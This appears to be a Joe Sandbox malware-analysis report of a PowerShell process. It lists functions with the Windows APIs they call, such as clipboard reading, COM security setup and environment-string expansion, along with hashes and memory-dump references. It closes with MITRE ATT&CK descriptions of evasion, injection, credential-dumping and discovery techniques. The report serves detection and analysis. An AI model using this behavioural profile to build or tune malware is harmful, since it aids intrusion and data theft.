Associated: 00000007.00000002.3032540470.0000000000657000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_600000_powershell.jbxd

Similarity

API ID: AllocString
String ID: 0
API String ID: 2525500382-4108050209
Opcode ID: 4e84a65d99b2bf68c14e752373e3b82e5ff2cb54d1cecf14c51b7e8003759954
Instruction ID: f1cf76e1c98bac21c52dc9a718c34309d2bf3e978bb5b60ae9a7a8989ba94480
Opcode Fuzzy Hash: 4e84a65d99b2bf68c14e752373e3b82e5ff2cb54d1cecf14c51b7e8003759954
Instruction Fuzzy Hash: 4FA1B42000CFC289D332CB388858797BFD16B67224F484F9DD1FA5B2D2D3A9614AD766

Function 0060DB2A Relevance: 3.1, APIs: 2, Instructions: 115COMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32(00000000,00000002), ref: 0060DB2E
CoInitializeEx.COMBASE(00000000,00000002), ref: 0060DC76

Memory Dump Source

Source File: 00000007.00000002.3028995563.0000000000601000.00000020.00000400.00020000.00000000.sdmp, Offset: 00600000, based on PE: true

Associated: 00000007.00000002.3028941602.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3031130774.0000000000646000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3031999541.0000000000649000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3032540470.0000000000657000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_600000_powershell.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 5aefd51e9a36874d1ec2b4cd9794134371790893cba6d764b52e05feefacf25d
Instruction ID: eb7a0e4726239ed7f0cd4cd5db0fa1206874d9a3dbf62c235c3f3f543d64e6eb
Opcode Fuzzy Hash: 5aefd51e9a36874d1ec2b4cd9794134371790893cba6d764b52e05feefacf25d
Instruction Fuzzy Hash: 5241B4B4C10B40AFD370BF3D9A0B6167EB4AB05214F404B1DF9E68A6D4E630A4298BD7

Function 00642B88 Relevance: 3.0, APIs: 2, Instructions: 11COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00642B88
GetForegroundWindow.USER32 ref: 00642B8E

Memory Dump Source

Source File: 00000007.00000002.3028995563.0000000000601000.00000020.00000400.00020000.00000000.sdmp, Offset: 00600000, based on PE: true

Associated: 00000007.00000002.3028941602.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3031130774.0000000000646000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3031999541.0000000000649000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3032540470.0000000000657000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_600000_powershell.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: d84674f7abbca129cf19a3de328d9dbb67d701745e3c292a9ac7beffe6f2b6d0
Instruction ID: ab29ecfa42c79035fda5c506a20453a5c4cc7afe632c39210ebb9c52892d0a65
Opcode Fuzzy Hash: d84674f7abbca129cf19a3de328d9dbb67d701745e3c292a9ac7beffe6f2b6d0
Instruction Fuzzy Hash: 5ED0127EF515008FD3488B24DD1A5483763E3D621630DA5249502C3328DD3C48498605

Function 0063B772 Relevance: 1.6, APIs: 1, Instructions: 60COMMON

Download Yara Rule

APIs

GetUserDefaultUILanguage.KERNELBASE ref: 0063B7A2

Memory Dump Source

Source File: 00000007.00000002.3028995563.0000000000601000.00000020.00000400.00020000.00000000.sdmp, Offset: 00600000, based on PE: true

Associated: 00000007.00000002.3028941602.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3031130774.0000000000646000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3031999541.0000000000649000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3032540470.0000000000657000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_600000_powershell.jbxd

Similarity

API ID: DefaultLanguageUser
String ID:
API String ID: 95929093-0
Opcode ID: 8fb7040b182dd03712e75de749120856b61ddf1d216dfc0613a018f49ae0203b
Instruction ID: 874cfd6e2aafe8997db79505a6a1078b0e802883174f90fbd7e3860f17cd2bf2
Opcode Fuzzy Hash: 8fb7040b182dd03712e75de749120856b61ddf1d216dfc0613a018f49ae0203b
Instruction Fuzzy Hash: CC21B371A052A48FDB24CB3C9C947A9BFB2AF56320F1842EDD59D977D1C6304A40CF12

Function 00641F60 Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3028995563.0000000000601000.00000020.00000400.00020000.00000000.sdmp, Offset: 00600000, based on PE: true

Associated: 00000007.00000002.3028941602.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3031130774.0000000000646000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3031999541.0000000000649000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3032540470.0000000000657000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_600000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d022d766cc3d734b59f34cad1e5b40556c115a912002656880d05020a78a5d6
Instruction ID: fffca6954b187132c45b6f6e90a1fd486f00f90cac76fc16c4284a1e57453b5a
Opcode Fuzzy Hash: 8d022d766cc3d734b59f34cad1e5b40556c115a912002656880d05020a78a5d6
Instruction Fuzzy Hash: 22E02B76808221EBD3405F38BC06B6737B6DF87760F010534F90097114D731E8028595

Function 0063715F Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 006371A7

Memory Dump Source

Source File: 00000007.00000002.3028995563.0000000000601000.00000020.00000400.00020000.00000000.sdmp, Offset: 00600000, based on PE: true

Associated: 00000007.00000002.3028941602.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3031130774.0000000000646000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3031999541.0000000000649000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3032540470.0000000000657000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_600000_powershell.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: bbf17184599d3176cc2b71d6ad0058dc0ea9aedba4384add4c7e6e011f679ce4
Instruction ID: 0b96ca5e55e61ee8d80d9c33eeccfa1a643314029ecd9ddad5598ddb121edaa9
Opcode Fuzzy Hash: bbf17184599d3176cc2b71d6ad0058dc0ea9aedba4384add4c7e6e011f679ce4
Instruction Fuzzy Hash: 5EF0F8B4109301CFD304DF24D4A875ABBF1FB89348F10881CE4958B7A0CBB6AA48CF82

Function 00634C6F Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 00634CBA

Memory Dump Source

Source File: 00000007.00000002.3028995563.0000000000601000.00000020.00000400.00020000.00000000.sdmp, Offset: 00600000, based on PE: true

Associated: 00000007.00000002.3028941602.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3031130774.0000000000646000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3031999541.0000000000649000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3032540470.0000000000657000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_600000_powershell.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 6315fce6b9ffcddab5fdd618d6d791f92d65dec80a5919657b71fe0e0616bcfb
Instruction ID: 5b9579fdc3be91481e6a83958a213cded071154420a33cc15b41cd4cee447e20
Opcode Fuzzy Hash: 6315fce6b9ffcddab5fdd618d6d791f92d65dec80a5919657b71fe0e0616bcfb
Instruction Fuzzy Hash: A1F07FB52097028FE300DF24D1A571BBBE2BB85314F25891CE0954B390C7B9AA498FC2

Function 0060D15A Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0060D16C

Memory Dump Source

Source File: 00000007.00000002.3028995563.0000000000601000.00000020.00000400.00020000.00000000.sdmp, Offset: 00600000, based on PE: true

Associated: 00000007.00000002.3028941602.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3031130774.0000000000646000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3031999541.0000000000649000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3032540470.0000000000657000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_600000_powershell.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: d51433258d9ae829a0badb0792836d82be42a357c897d2cd464240d879f6a696
Instruction ID: 258bc2cebd81bfcf0c5990f11b2ffc98b472657a10cbd808f9e534dbe1946eb7
Opcode Fuzzy Hash: d51433258d9ae829a0badb0792836d82be42a357c897d2cd464240d879f6a696
Instruction Fuzzy Hash: 08E05E357E530067FB294608EC03F06228383D6F21F389329B310EE7D8CCF8A0054508

Function 006404D0 Relevance: 1.5, APIs: 1, Instructions: 15memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000,?,00641FAB,?,0060BA3E,00000000,00000001), ref: 006404F0

Memory Dump Source

Source File: 00000007.00000002.3028995563.0000000000601000.00000020.00000400.00020000.00000000.sdmp, Offset: 00600000, based on PE: true

Associated: 00000007.00000002.3028941602.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3031130774.0000000000646000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3031999541.0000000000649000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3032540470.0000000000657000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_600000_powershell.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: ab44c1f592f5c275b17a7da88849705108045cebdcc60ba470a5911490618e0d
Instruction ID: 6dcc6f1f9ba25dcf4a73e354ed3c00c7013155a37ff647f70dceab52508c090c
Opcode Fuzzy Hash: ab44c1f592f5c275b17a7da88849705108045cebdcc60ba470a5911490618e0d
Instruction Fuzzy Hash: 14D0C971405632EBC7502B28BC16BC73A96DF49261F471895B444AA164C665DC91CAD4

Function 006404BB Relevance: 1.5, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000), ref: 006404C1

Memory Dump Source

Source File: 00000007.00000002.3028995563.0000000000601000.00000020.00000400.00020000.00000000.sdmp, Offset: 00600000, based on PE: true

Associated: 00000007.00000002.3028941602.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3031130774.0000000000646000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3031999541.0000000000649000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3032540470.0000000000657000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_600000_powershell.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 68a3b2d6089d36821018bb7020ec245ae74601f9f042e6b22c29891780e16f60
Instruction ID: 9c7acbad8c61c03d9ea4452f9ca48dfa98a4849f6877ddf17a9cc82f64095a0b
Opcode Fuzzy Hash: 68a3b2d6089d36821018bb7020ec245ae74601f9f042e6b22c29891780e16f60
Instruction Fuzzy Hash: EAA01130080220ABCB202B20FC08FC23E22EB082A2F020080B0000A0B8C2208CA2CA80

Non-executed Functions

Function 00637CC0 Relevance: 9.1, APIs: 6, Instructions: 133clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00637CE2
GetClipboardData.USER32 ref: 00637D03
CloseClipboard.USER32 ref: 00637E56

Memory Dump Source

Source File: 00000007.00000002.3028995563.0000000000601000.00000020.00000400.00020000.00000000.sdmp, Offset: 00600000, based on PE: true

Associated: 00000007.00000002.3028941602.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3031130774.0000000000646000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3031999541.0000000000649000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3032540470.0000000000657000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_600000_powershell.jbxd

Similarity

API ID: Clipboard$CloseDataOpen
String ID:
API String ID: 2058664381-0
Opcode ID: 49a5b73e84bb16160deed5179406eb08c5265f7ea5314f38e22d3a335db64c38
Instruction ID: cfd59680d8838988768b0a3a89055d5c75115c20790d5aac730778e9345beb90
Opcode Fuzzy Hash: 49a5b73e84bb16160deed5179406eb08c5265f7ea5314f38e22d3a335db64c38
Instruction Fuzzy Hash: 0251A3B1808B428FD721AB7C944939EBFA2AF16320F048768E5E5873D2D7349959C7D3

Function 0062A910 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 448COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,00000000,?), ref: 0062A9A2

Strings

qr, xrefs: 0062AC3F

Memory Dump Source

Source File: 00000007.00000002.3028995563.0000000000601000.00000020.00000400.00020000.00000000.sdmp, Offset: 00600000, based on PE: true

Associated: 00000007.00000002.3028941602.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3031130774.0000000000646000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3031999541.0000000000649000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3032540470.0000000000657000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_600000_powershell.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: qr
API String ID: 237503144-1191081808
Opcode ID: d4fbaeff8f2b13a112ed93c3b2b181dbd2a8e9b632b04cf7d07b931c6b0e737e
Instruction ID: a17a61157eb7e21366855e366f6f50f6fde50f38b1e40fa332992db9c3a6cf57
Opcode Fuzzy Hash: d4fbaeff8f2b13a112ed93c3b2b181dbd2a8e9b632b04cf7d07b931c6b0e737e
Instruction Fuzzy Hash: E5E1DDB560C3158FE314CF68D8917ABB7F6EF85304F04882CE5958B291DBB4D60ACB96

Function 00629F9D Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 198COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,00000000,?), ref: 0062A0D7
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,?,?), ref: 0062A167

Strings

fg, xrefs: 0062A019
8oi, xrefs: 0062A005

Memory Dump Source

Source File: 00000007.00000002.3028995563.0000000000601000.00000020.00000400.00020000.00000000.sdmp, Offset: 00600000, based on PE: true

Associated: 00000007.00000002.3028941602.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3031130774.0000000000646000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3031999541.0000000000649000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3032540470.0000000000657000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_600000_powershell.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: 8oi$fg
API String ID: 237503144-353571303
Opcode ID: ac9c1654d8dec8f12cf2e96290ac7cfb88322e2d1522f87abe32e268db895539
Instruction ID: 3e7eb0d74a77288b3e25eccf2273c2bd41b131e181cf64e8a19abf4bb2c569d8
Opcode Fuzzy Hash: ac9c1654d8dec8f12cf2e96290ac7cfb88322e2d1522f87abe32e268db895539
Instruction Fuzzy Hash: 4861ED756087408FD324CF64D88175FB7E6FBC5314F28492CE9959B291DBB2C9068B47

Function 00625EAF Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 208COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,00000000,?), ref: 00625F7C
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,00000000,?), ref: 006260DF

Strings

}{, xrefs: 0062602D

Memory Dump Source

Source File: 00000007.00000002.3028995563.0000000000601000.00000020.00000400.00020000.00000000.sdmp, Offset: 00600000, based on PE: true

Associated: 00000007.00000002.3028941602.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3031130774.0000000000646000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3031999541.0000000000649000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3032540470.0000000000657000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_600000_powershell.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: }{
API String ID: 237503144-1817783701
Opcode ID: 6249e055208d4866910e70241cd967e68df171e836a75636af41c1b6ac9d8af4
Instruction ID: f4427359bad9673afb9b221ba51c04c7a8220cd23045e24ef854ea5c14c39b77
Opcode Fuzzy Hash: 6249e055208d4866910e70241cd967e68df171e836a75636af41c1b6ac9d8af4
Instruction Fuzzy Hash: 8671E1B0A413218FDB14CF68C9857AA7FB1FB06314F1A92ACD8656F3A2C7748801CBD5

Function 00638A58 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 00638A91

Strings

, xrefs: 00638B4E

Memory Dump Source

Source File: 00000007.00000002.3028995563.0000000000601000.00000020.00000400.00020000.00000000.sdmp, Offset: 00600000, based on PE: true

Associated: 00000007.00000002.3028941602.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3031130774.0000000000646000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3031999541.0000000000649000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3032540470.0000000000657000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_600000_powershell.jbxd

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-3916222277
Opcode ID: aeb0714a1ea3257d8349f4bbe0bf5c935b93c68289fe76071685252aca596935
Instruction ID: 8cb00335ba01015e62c72a9d0575ad3777b66b5d228b9eef85934048029d2b9b
Opcode Fuzzy Hash: aeb0714a1ea3257d8349f4bbe0bf5c935b93c68289fe76071685252aca596935
Instruction Fuzzy Hash: 0331B4B4924344CFDB00EF68D98561DBBF5BB89704F01846EE898DB365D770A948CF92

Function 00638BEF Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 108COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 00638C3D
GetSystemMetrics.USER32 ref: 00638C4C

Strings

, xrefs: 00638D20

Memory Dump Source

Source File: 00000007.00000002.3028995563.0000000000601000.00000020.00000400.00020000.00000000.sdmp, Offset: 00600000, based on PE: true

Associated: 00000007.00000002.3028941602.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3031130774.0000000000646000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3031999541.0000000000649000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3032540470.0000000000657000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_600000_powershell.jbxd

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-3916222277
Opcode ID: a6d50f547f2187a750c5f180be4569032810f7bd8d0b415cbe48b9be52141532
Instruction ID: 0d82e8e6933496e7dc7486b730d986882c4d4d1e6c7f1b00e34ad0a6f1ca08d6
Opcode Fuzzy Hash: a6d50f547f2187a750c5f180be4569032810f7bd8d0b415cbe48b9be52141532
Instruction Fuzzy Hash: 195170B4E142189FDB40EFACD985A9EBBF1BB48700F10456DE898E7350D770A948CF92

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

